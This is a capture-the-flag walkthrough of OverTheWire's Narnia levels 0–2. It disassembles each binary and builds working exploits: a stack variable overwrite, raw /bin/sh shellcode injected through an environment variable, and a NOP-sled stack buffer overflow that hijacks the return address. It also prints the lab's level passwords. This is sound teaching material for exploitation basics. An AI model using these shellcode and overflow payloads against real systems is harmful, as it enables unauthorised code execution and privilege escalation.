Contents

Narnia Challenges (part 1)

The Narnia challenges focus on various overflow techniques in order to get the exploitable program to execute arbitrary code. All of the challenges here provide both the binary to exploit as well as the source that they were created from. One of the goals I set out when starting these challenges was also to learn a lot more about assembly and reverse engineering, therefore none of these solutions will use the actual provided source. Instead I’ll go about these by trying to breakdown the assembly to understand what the program is doing and what can be done to exploit it.

It’s worth nothing that while I’m doing this by hand for these walkthroughs, there are many tools out there that automate the process of reverse engineering and most support some form of decompilation.

Some of the more popular Reverse Engineering tools:

All of the narnia challenges from OverTheWire can be found: https://overthewire.org/wargames/narnia/

For some background on buffer overflows, the Wiki page provides a pretty good summary of the different flavors. Additionally these walkthroughs are not meant to teach assembly programming, there are far better resources for that, like: https://en.wikibooks.org/wiki/X86_Assembly. Lastly, all of the Narnia challenges are meant as a beginning set of challenges where many of the modern security techniques, like Address Space Layout Randomization, are all disabled. Disabling these security techniques allow for focusing on understanding the fundamentals and build up a solid foundation.

narnia0

How to log into Narnia:

ssh -p 2226 narnia0@narnia.labs.overthewire.org

Password: narnia0

Where to find all of the challenges:

cd /narnia/

One of the very first things to do when approaching these challenges is to just try running the program to see what it’s expecting as input and what it outputs:

1
2
3
4
5
6
7
narnia0@narnia:/narnia$ ./narnia0

Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: 1234
buf: 1234
val: 0x41414141
WAY OFF!!!!

Knowing that these challenges center around overflow techniques one of the first things to attempt is providing invalid or excessive long input to cause the program to behave in an unintended way. In this case trying out, AAAAABBBBBCCCCCDDDDDBBBB, gives the following output:

1
2
3
4
5
6
narnia0@narnia:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAABBBBBCCCCCDDDDDBBBB
buf: AAAAABBBBBCCCCCDDDDDBBBB
val: 0x42424242
WAY OFF!!!!

Looking at the results here the current value of val seems to reflect the ASCII value of B. If that’s the case it should mean that the program is vulnerable to an overflow that allows for arbitrary data to be put into val.

Let’s check objdump, and look at main() to get understand what’s going on in this program:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
0804855b <main>:
 804855b: 55                   push   %ebp
 804855c: 89 e5                mov    %esp,%ebp
 804855e: 53                   push   %ebx
 804855f: 83 ec 18             sub    $0x18,%esp
 8048562: c7 45 f8 41 41 41 41 movl   $0x41414141,-0x8(%ebp)
 8048569: 68 90 86 04 08       push   $0x8048690
 804856e: e8 7d fe ff ff       call   80483f0 <puts@plt>
 8048573: 83 c4 04             add    $0x4,%esp
 8048576: 68 c3 86 04 08       push   $0x80486c3
 804857b: e8 50 fe ff ff       call   80483d0 <printf@plt>
 8048580: 83 c4 04             add    $0x4,%esp
 8048583: 8d 45 e4             lea    -0x1c(%ebp),%eax
 8048586: 50                   push   %eax
 8048587: 68 d9 86 04 08       push   $0x80486d9
 804858c: e8 af fe ff ff       call   8048440 <__isoc99_scanf@plt>
 8048591: 83 c4 08             add    $0x8,%esp
 8048594: 8d 45 e4             lea    -0x1c(%ebp),%eax
 8048597: 50                   push   %eax
 8048598: 68 de 86 04 08       push   $0x80486de
 804859d: e8 2e fe ff ff       call   80483d0 <printf@plt>
 80485a2: 83 c4 08             add    $0x8,%esp
 80485a5: ff 75 f8             pushl  -0x8(%ebp)
 80485a8: 68 e7 86 04 08       push   $0x80486e7
 80485ad: e8 1e fe ff ff       call   80483d0 <printf@plt>
 80485b2: 83 c4 08             add    $0x8,%esp
 80485b5: 81 7d f8 ef be ad de cmpl   $0xdeadbeef,-0x8(%ebp)
 80485bc: 75 25                jne    80485e3 <main+0x88>
 80485be: e8 1d fe ff ff       call   80483e0 <geteuid@plt>
 80485c3: 89 c3                mov    %eax,%ebx
 80485c5: e8 16 fe ff ff       call   80483e0 <geteuid@plt>
 80485ca: 53                   push   %ebx
 80485cb: 50                   push   %eax
 80485cc: e8 4f fe ff ff       call   8048420 <setreuid@plt>
 80485d1: 83 c4 08             add    $0x8,%esp
 80485d4: 68 f4 86 04 08       push   $0x80486f4
 80485d9: e8 22 fe ff ff       call   8048400 <system@plt>
 80485de: 83 c4 04             add    $0x4,%esp
 80485e1: eb 14                jmp    80485f7 <main+0x9c>
 80485e3: 68 fc 86 04 08       push   $0x80486fc
 80485e8: e8 03 fe ff ff       call   80483f0 <puts@plt>
 80485ed: 83 c4 04             add    $0x4,%esp
 80485f0: 6a 01                push   $0x1
 80485f2: e8 19 fe ff ff       call   8048410 <exit@plt>
 80485f7: b8 00 00 00 00       mov    $0x0,%eax
 80485fc: 8b 5d fc             mov    -0x4(%ebp),%ebx
 80485ff: c9                   leave  
 8048600: c3                   ret

From this dump we can see that the stack is sized 24 bytes (0x18):

1
804855f: 83 ec 18             sub    $0x18,%esp

Additionally, we can see the initial value of val being set on the next line, which is ultimately our target for our bufferoverflow:

1
8048562: c7 45 f8 41 41 41 41 movl   $0x41414141,-0x8(%ebp)

Next is the prints for the various messages, followed by a syscall to scanf. These two lines should be where we load the address of our buffer for scanf.

1
2
 8048583: 8d 45 e4             lea    -0x1c(%ebp),%eax
 8048586: 50                   push   %eax

And this should be the formatted string, which is stored in the binary itself:

1
2
 8048587: 68 d9 86 04 08       push   $0x80486d9
 804858c: e8 af fe ff ff       call   8048440 <__isoc99_scanf@plt>

Followed by some more prints, and finally the good stuff, where the comparison is done with val and the hardcoded value 0xdeadbeef:

1
2
 80485b5: 81 7d f8 ef be ad de cmpl   $0xdeadbeef,-0x8(%ebp)
 80485bc: 75 25                jne    80485e3 <main+0x88>

It also looks like when the comparison succeeds a privileged function will be called, specifically the setreuid so elevate privileges, and then a call to system:

1
2
3
4
5
6
7
8
9
 80485be: e8 1d fe ff ff       call   80483e0 <geteuid@plt>
 80485c3: 89 c3                mov    %eax,%ebx
 80485c5: e8 16 fe ff ff       call   80483e0 <geteuid@plt>
 80485ca: 53                   push   %ebx
 80485cb: 50                   push   %eax
 80485cc: e8 4f fe ff ff       call   8048420 <setreuid@plt>
 80485d1: 83 c4 08             add    $0x8,%esp
 80485d4: 68 f4 86 04 08       push   $0x80486f4
 80485d9: e8 22 fe ff ff       call   8048400 <system@plt>

Providing input to an application’s stdin can be accomplished via a pipe, |. Allowing for executing some previous command, using it’s output to stdout and pipe-ing that into the stdin of the next program:

1
2
3
4
5
narnia0@narnia:/narnia$ python -c 'print "B" * 24' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBBBB
val: 0x42424242
WAY OFF!!!!

At this point it’s clear all that needs to be done is to pipe in some input with some number of As followed by 0xdeadbeef. However before doing that, running this through GDB can provide some more insight and be a good place to get some experience stepping through a program with only assembly code available:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
narnia0@narnia:/narnia$ gdb narnia0
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from narnia0...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
...long output from the disassembly, similar to the objdump
(gdb) b main
Breakpoint 1 at 0x804855f
(gdb) r
Starting program: /narnia/narnia0
Breakpoint 1, 0x0804855f in main ()
(gdb) x/s 0x8048690
0x8048690: "Correct val's value from 0x41414141 -> 0xdeadbeef!"
(gdb) x/s 0x80486d9
0x80486d9: "%24s"
(gdb) x/s 0x80486f4
0x80486f4: "/bin/sh"

What’s interesting here is that the format string is expecting 24 characters, despite the buffer being only 20 bytes. Another interesting aspect, is that it is clear the string being passed into system is /bin/sh (aka what’s located at 0x80486f4). So we know that if we can get 0xdeadbeef into val, we’ll execute /bin/sh and get to the next level.

Running through GDB allows for some deeper inspection as to what’s going on. After setting a breakpoint in main, and another right before loading the buffer’s address into the register $eax:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
(gdb) r
Starting program: /narnia/narnia0

Breakpoint 1, 0x0804855f in main ()
(gdb) x/5i $pc
=> 0x804855f <main+4>: sub    esp,0x18
   0x8048562 <main+7>: mov    DWORD PTR [ebp-0x8],0x41414141
   0x8048569 <main+14>: push   0x8048690
   0x804856e <main+19>: call   0x80483f0 <puts@plt>
   0x8048573 <main+24>: add    esp,0x4
(gdb) c
Continuing.
Correct val's value from 0x41414141 -> 0xdeadbeef!

Breakpoint 2, 0x08048583 in main ()
(gdb) x/5i $pc
=> 0x8048583 <main+40>: lea    eax,[ebp-0x1c]
   0x8048586 <main+43>: push   eax
   0x8048587 <main+44>: push   0x80486d9
   0x804858c <main+49>: call   0x8048440 <__isoc99_scanf@plt>
   0x8048591 <main+54>: add    esp,0x8

Taking a peek at the stack, the buffer, and then stepping again:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
(gdb) x/20xw $ebp
0xffffd6c8: 0x00000000 0xf7e2a286 0x00000001 0xffffd764
0xffffd6d8: 0xffffd76c 0x00000000 0x00000000 0x00000000
0xffffd6e8: 0xf7fc5000 0xf7ffdc0c 0xf7ffd000 0x00000000
0xffffd6f8: 0x00000001 0xf7fc5000 0x00000000 0xc794cc50
0xffffd708: 0xfd7de040 0x00000000 0x00000000 0x00000000
(gdb) x/20xw $ebp-0x1c
0xffffd6ac: 0x08048631 0xf7fc53dc 0x0804824c 0x08048619
0xffffd6bc: 0x00000000 0x41414141 0x00000000 0x00000000
0xffffd6cc: 0xf7e2a286 0x00000001 0xffffd764 0xffffd76c
0xffffd6dc: 0x00000000 0x00000000 0x00000000 0xf7fc5000
0xffffd6ec: 0xf7ffdc0c 0xf7ffd000 0x00000000 0x00000001
(gdb) ni
0x08048586 in main ()
(gdb) x/5i $pc
=> 0x8048586 <main+43>: push   eax
   0x8048587 <main+44>: push   0x80486d9
   0x804858c <main+49>: call   0x8048440 <__isoc99_scanf@plt>
   0x8048591 <main+54>: add    esp,0x8
   0x8048594 <main+57>: lea    eax,[ebp-0x1c]

Stepping a bit further and making sure $eax gets the address we expect:
(gdb) x/20xw $eax
0xffffd6ac: 0x08048631 0xf7fc53dc 0x0804824c 0x08048619
0xffffd6bc: 0x00000000 0x41414141 0x00000000 0x00000000
0xffffd6cc: 0xf7e2a286 0x00000001 0xffffd764 0xffffd76c
0xffffd6dc: 0x00000000 0x00000000 0x00000000 0xf7fc5000
0xffffd6ec: 0xf7ffdc0c 0xf7ffd000 0x00000000 0x00000001
(gdb) x/20xw 0xffffd6ac
0xffffd6ac: 0x08048631 0xf7fc53dc 0x0804824c 0x08048619
0xffffd6bc: 0x00000000 0x41414141 0x00000000 0x00000000
0xffffd6cc: 0xf7e2a286 0x00000001 0xffffd764 0xffffd76c
0xffffd6dc: 0x00000000 0x00000000 0x00000000 0xf7fc5000
0xffffd6ec: 0xf7ffdc0c 0xf7ffd000 0x00000000 0x00000001
(gdb) ni
0x08048587 in main ()
(gdb) ni
0x0804858c in main ()

A few more instructions before we are prompted and provide some inputs:

1
2
3
(gdb) ni
Here is your chance: BBBBBBBBBBBBBBBBBBBBBBBB
0x08048591 in main ()

And now looking at the contents of our stack, we can see that we overwrote var and filled our buffer with Bs:

1
2
3
4
5
6
(gdb) x/20xw 0xffffd6ac
0xffffd6ac: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd6bc: 0x42424242 0x42424242 0x00000000 0x00000000
0xffffd6cc: 0xf7e2a286 0x00000001 0xffffd764 0xffffd76c
0xffffd6dc: 0x00000000 0x00000000 0x00000000 0xf7fc5000
0xffffd6ec: 0xf7ffdc0c 0xf7ffd000 0x00000000 0x00000001

All that’s left now is to provide some inputs and get to the next level, one thing to keep in mind is that given the endianness, the bytes have to be reversed so 0xdeadbeef becomes 0xefbeadde:

1
2
3
4
5
narnia0@narnia:/narnia$ python -c 'print "A"*20 + "\xef\xbe\xad\xde"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ?
val: 0xdeadbeef
narnia0@narnia:/narnia$

Well, it seemed to work but the shell closed right away, which makes it really hard to get the password to the next level. There’s a trick to keeping the shell open: leveaging cat to hold the input open after our system call has executed prevents the shell from closing:

1
2
3
4
5
6
7
8
narnia0@narnia:/narnia$ (python -c 'print "A"*20 + "\xef\xbe\xad\xde"';cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ?
val: 0xdeadbeef
whoami
narnia1
cat /etc/narnia_pass/narnia1
efeidiedae

Not too bad for a first challenge and gave me a chance to explore some basic concepts in assembly and what to start to look for to understand how to exploit it.

narnia1

How to log into Narnia:

ssh -p 2226 narnia1@narnia.labs.overthewire.org

Password: efeidiedae

Where to find all of the challenges:

cd /narnia/

Just like last time, try running the program and see what it does:

1
2
3
4
5
    narnia1@narnia:/narnia$ ./narnia1
    Give me something to execute at the env-variable EGG
    narnia1@narnia:/narnia$ EGG=ls ./narnia1
    Trying to execute EGG!
    Segmentation fault

Odd. Let’s take a look at ltrace to see what library calls the program might be making.

1
2
3
4
5
6
7
8
narnia1@narnia:/narnia$ EGG=ls ltrace ./narnia1
__libc_start_main(0x804846b, 1, 0xffffd784, 0x80484c0 <unfinished ...>
getenv("EGG")                                                                       = "ls"
puts("Trying to execute EGG!"Trying to execute EGG!
)                                                      = 23
getenv("EGG")                                                                       = "ls"
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Nothing too obvious here, time to use objdump. Doesn’t appear that it calls any internal functions and just sticks with system functions that get executed:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0804846b <main>:
 804846b: 55                   push   %ebp
 804846c: 89 e5                mov    %esp,%ebp
 804846e: 83 ec 04             sub    $0x4,%esp
 8048471: 68 40 85 04 08       push   $0x8048540
 8048476: e8 a5 fe ff ff       call   8048320 <getenv@plt>
 804847b: 83 c4 04             add    $0x4,%esp
 804847e: 85 c0                test   %eax,%eax
 8048480: 75 14                jne    8048496 <main+0x2b>
 8048482: 68 44 85 04 08       push   $0x8048544
 8048487: e8 a4 fe ff ff       call   8048330 <puts@plt>
 804848c: 83 c4 04             add    $0x4,%esp
 804848f: 6a 01                push   $0x1
 8048491: e8 aa fe ff ff       call   8048340 <exit@plt>
 8048496: 68 79 85 04 08       push   $0x8048579
 804849b: e8 90 fe ff ff       call   8048330 <puts@plt>
 80484a0: 83 c4 04             add    $0x4,%esp
 80484a3: 68 40 85 04 08       push   $0x8048540
 80484a8: e8 73 fe ff ff       call   8048320 <getenv@plt>
 80484ad: 83 c4 04             add    $0x4,%esp
 80484b0: 89 45 fc             mov    %eax,-0x4(%ebp)
 80484b3: 8b 45 fc             mov    -0x4(%ebp),%eax
 80484b6: ff d0                call   *%eax
 80484b8: b8 00 00 00 00       mov    $0x0,%eax
 80484bd: c9                   leave  
 80484be: c3                   ret
 80484bf: 90                   nop

Looks like there’s enough room for some local variable. Not sure entirely what it does or how it is used:

1
 804846e: 83 ec 04             sub    $0x4,%esp

These lines caught my eye:

1
2
3
 80484b0: 89 45 fc             mov    %eax,-0x4(%ebp)
 80484b3: 8b 45 fc             mov    -0x4(%ebp),%eax
 80484b6: ff d0                call   *%eax

It appears that whatever variable on the stack here is used as the address of our “call” instruction - this is likely just a locally defined function pointer. So, since it’s just executing whatever the contents of $EGG are, we just need to pipe in some Shellcode. And then have the program execute it.

Additionally, if we want to get real fancy we can try creating our own shellcode. A future post will walkthrough creating shell code that runs on overthewire (following guidance from The Shellcoders Handbook - see the shellcode creation section).

In the mean time here’s the resulting shell code being passed into the program via the $EGG environment variable:

1
2
3
4
5
6
7
narnia1@narnia:/narnia$ EGG=$(python -c 'print "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42"') ./narnia1
Trying to execute EGG!
$ ls
narnia0    narnia1    narnia2 narnia3    narnia4    narnia5   narnia6    narnia7 narnia8
narnia0.c  narnia1.c  narnia2.c  narnia3.c  narnia4.c  narnia5.c  narnia6.c  narnia7.c narnia8.c
$ whoami
Narnia2

Which gives the password:

1
2
    $ cat /etc/narnia_pass/narnia2
    nairiepecu

Additionally, there exists some great tools and resources that have some pre-generated shellcode for a variety of system: http://shell-storm.org/shellcode/. However, it is strongly advised to look over and understand what some shellcode does before actually using it.

narnia2

How to log into Narnia:

ssh -p 2226 narnia2@narnia.labs.overthewire.org

Password: nairiepecu

Where to find all of the challenges:

cd /narnia/

It should be no surprise at this point that first up is to run the app:

1
2
narnia2@narnia:/narnia$ ./narnia2
Usage: ./narnia2 argument

Now let’s try a simple input:

1
2
narnia2@narnia:/narnia$ ./narnia2 AAAA
AAAAnarnia2@narnia:/narnia$

And find a breaking input:

1
2
narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print "A"*20')
AAAAAAAAAAAAAAAAAAAA

No luck, time to try something a bit more extreme:

1
2
narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print "A"*256')
Segmentation fault

Now we’re talking, a segfault is usually a nightmare for me, however in this case it’s exactly what I’m looking for. Taking a look at the assembly:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0804844b <main>:
 804844b:       55                      push   %ebp
 804844c:       89 e5                   mov    %esp,%ebp
 804844e:       83 c4 80                add    $0xffffff80,%esp
 8048451:       83 7d 08 01             cmpl   $0x1,0x8(%ebp)
 8048455:       75 1a                   jne    8048471 <main+0x26>
 8048457:       8b 45 0c                mov    0xc(%ebp),%eax
 804845a:       8b 00                   mov    (%eax),%eax
 804845c:       50                      push   %eax
 804845d:       68 20 85 04 08          push   $0x8048520
 8048462:       e8 99 fe ff ff          call   8048300 <printf@plt>
 8048467:       83 c4 08                add    $0x8,%esp
 804846a:       6a 01                   push   $0x1
 804846c:       e8 af fe ff ff          call   8048320 <exit@plt>
 8048471:       8b 45 0c                mov    0xc(%ebp),%eax
 8048474:       83 c0 04                add    $0x4,%eax
 8048477:       8b 00                   mov    (%eax),%eax
 8048479:       50                      push   %eax
 804847a:       8d 45 80                lea    -0x80(%ebp),%eax
 804847d:       50                      push   %eax
 804847e:       e8 8d fe ff ff          call   8048310 <strcpy@plt>
 8048483:       83 c4 08                add    $0x8,%esp
 8048486:       8d 45 80                lea    -0x80(%ebp),%eax
 8048489:       50                      push   %eax
 804848a:       68 34 85 04 08          push   $0x8048534
 804848f:       e8 6c fe ff ff          call   8048300 <printf@plt>
 8048494:       83 c4 08                add    $0x8,%esp
 8048497:       b8 00 00 00 00          mov    $0x0,%eax
 804849c:       c9                      leave  
 804849d:       c3                      ret
 804849e:       66 90                   xchg   %ax,%ax

And what happens if we run through gdb with bad input:

1
2
3
4
5
(gdb) r $(python -c 'print "A"*256')
Starting program: /narnia/narnia2 $(python -c 'print "A"*256')

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

All right, this is interesting. Seems we can control return address(ret) by completely destroying the stack since we overflow the buffer, in other words a classic stack buffer overflow exploit.

Looking a bit more into this, it looks like there’s like a buffer of size 0x80 (128bytes):

1
 804847a:       8d 45 80                lea    -0x80(%ebp),%eax

Which means the python call should be able to work with some smaller value than 256.

1
2
3
4
5
6
7
8
Starting program: /narnia/narnia2 $(python -c 'print "A"*136')

Breakpoint 1, 0x0804844e in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Looks like 136 will do the trick, since the goal is to overflow past 128 bytes and continue writing over the Saved Frame Pointer (4 bytes) and the return address (another 4 bytes). There’s almost enough pieces to be able to exploit the program. It should be possible to reuse the shellcode from narnia1, and put that into our exploit payload, which in turn will be put into the buffer. Then we just need to get the address of the start of the shellcode into the RET which in turn will get loaded into $EIP, so when the function finishes executing it’ll actually return the shellcode and execute it.

The trick here is that knowing the exact address of our shellcode can be a bit of a pain. So to have some wiggle room, a nop slide can be used. When the CPU encounters a nop slide, the nops don’t have have any operation that need to be preformed so the CPU just keeps marching through them until it hits an instruction that it actually needs to do something with.

Putting that all together:

1
2
3
narnia2@narnia:~$ /narnia/narnia2 $(python -c 'print "\x90"*83 + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42" + "<ADDRESS OF THE NOP SLIDE>"')
$ whoami
narnia3

Getting the address of the nop slide can be done fairly easily by running the program through GDB and printing out the address at:

1
$ebp-0x80

This mostly works for two reasons, first, because overthewire has disabled many techniques that would normally make it quite a bit harder to reliably determine this address. Second, the nop slide means the address doesn’t have to be exact, just somewhere within the slide.

And the password:

1
2
$ cat /etc/narnia_pass/narnia3
vaequeezee

To recap what was covered in these challenges: first overflowing a buffer to write over a local variable, next using shellcode in an environment variable, and finally writing a simple stack buffer overflow exploit (the python one liner). It’s been a bit of whirlwind and there’s a lot of miscellaneous reading that wasn’t covered here. With the vast majority of my time spent reading over the x86 Instruction Set Reference and starting to build up a mental model of what a handful of assembly instructions are actually accomplishing.

Some additional reading that can’t go with out mentioning: